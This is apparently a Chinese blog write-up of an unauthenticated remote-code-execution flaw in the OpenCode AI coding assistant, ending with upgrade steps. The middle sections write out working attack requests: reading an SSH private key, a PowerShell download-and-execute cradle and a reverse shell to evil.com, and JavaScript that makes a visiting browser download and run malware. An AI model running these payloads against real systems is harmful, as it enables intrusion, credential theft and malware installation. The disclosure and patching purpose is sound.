就在几天前,开源 AI 编程助手 OpenCode 曝出一个CVSS 10.0 级别的严重漏洞。任何网站都可以在你的电脑上执行任意命令——没错,只需要你访问一个恶意网页。
一、惊魂时刻:我是如何发现自己的电脑被”控制”的
1 月 13 日,OpenCode 开发者 thdxr 紧急披露了一个安全漏洞。Cloudflare 安全研究员发现:OpenCode 的本地服务器没有任何身份验证,任何人都可以连接并执行命令。
我第一时间检查了自己的 OpenCode 版本——
$ opencode --version
1.1.8
心跳漏了一拍。根据官方公告,1.1.10 之前的版本都存在这个漏洞。
二、漏洞原理:为什么如此严重?
2.1 零身份验证的本地服务器
OpenCode 在启动时会自动启动一个 HTTP 服务器(端口 4096+),用于与 Web 界面通信。但问题在于:这个服务器没有任何身份验证机制。
任何人只要能连接到这个端口,就可以:
| API 端点 | 功能 | 危险等级 |
|---|---|---|
GET /session |
列出所有会话 | 🟡 中 |
POST /session |
创建新会话 | 🟡 中 |
POST /session/:id/shell |
执行任意 shell 命令 | 🔴 严重 |
GET /file/content?path=xxx |
读取任意文件 | 🔴 严重 |
2.2 攻击场景简单得可怕
攻击流程只需要三步:
1. 扫描本地端口 → 找到 OpenCode (4096+) 2. 创建会话 → POST /session 3. 执行命令 → POST /session/:id/shell
无需用户交互、无需密码、无需任何配置。
三、实战复现:我”黑”进了自己的电脑
3.1 发现漏洞端口
3.2 测试 API 访问
打开浏览器或 Postman,访问:
GET http://localhost:36504/session
返回结果让我倒吸一口凉气——无需任何认证,直接返回了我的所有会话信息:
3.3 RCE 命令执行测试
接下来是最关键的一步——执行命令:
POST http://localhost:36504/session/ses_xxx/shell
Content-Type: application/json
{
"agent": "build",
"command": "echo RCE_TEST"
}
几秒后,命令执行成功:
3.4 弹出计算器:漏洞的铁证
为了证明这不是开玩笑,我执行了一个更直观的命令:
{
"agent": "build",
"command": "calc.exe"
}
下一秒,Windows 计算器弹了出来。
这证明:任何能连接到这个端口的人,都能以我的用户权限执行任意代码。
四、更危险的攻击:如果黑客真的来了
弹出计算器只是无害演示。如果是真正的攻击者,他们可以:
4.1 窃取 SSH 私钥
{
"command": "type C:\\Users\\YourName\\.ssh\\id_rsa"
}
4.2 植入后门
{
"command": "powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://evil.com/backdoor.ps1')\""
}
4.3 建立反弹 Shell
{
"command": "powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('evil.com',4444);...\""
}
4.4 浏览器攻击(< v1.0.216)
在漏洞修复前,任何恶意网站都可以用这段代码攻击你:
// 植入在恶意网站中的代码
fetch('http://localhost:4096/session', {
method: 'POST',
body: '{}'
}).then(r => r.json()).then(session => {
fetch(`http://localhost:4096/session/${session.id}/shell`, {
method: 'POST',
body: JSON.stringify({
agent: 'build',
command: 'powershell -c "Invoke-WebRequest http://evil.com/malware.exe -OutFile temp.exe; Start-Process temp.exe"'
})
})
})
你只是访问了一个网页,电脑就被控制了。
五、版本对比:你受影响了吗?
| 版本 | 任意网站攻击 | 本地攻击 | 状态 |
|---|---|---|---|
| < 1.0.216 | ✅ 可行 | ✅ 可行 | 🔴 极度危险 |
| 1.0.216 – 1.1.9 | ❌ 受限 | ✅ 可行 | 🟠 存在 RCE |
| ≥ 1.1.10 | ❌ 修复 | ❌ 修复 | 🟢 安全 |
我的版本是 1.1.8,属于第二档——虽然网站攻击被修复了,但本地任何进程仍可执行命令。
六、立即修复:三步完成
步骤 1:检查版本
opencode --version
步骤 2:立即更新
# 终端版
npm update -g opencode-ai@latest
# 桌面版
# 访问 https://opencode.ai/download 重新下载安装
步骤 3:验证修复
# 确认版本 >= 1.1.10
opencode --version
# 确认端口不再监听(默认已禁用服务器)
netstat -ano | findstr "4096"












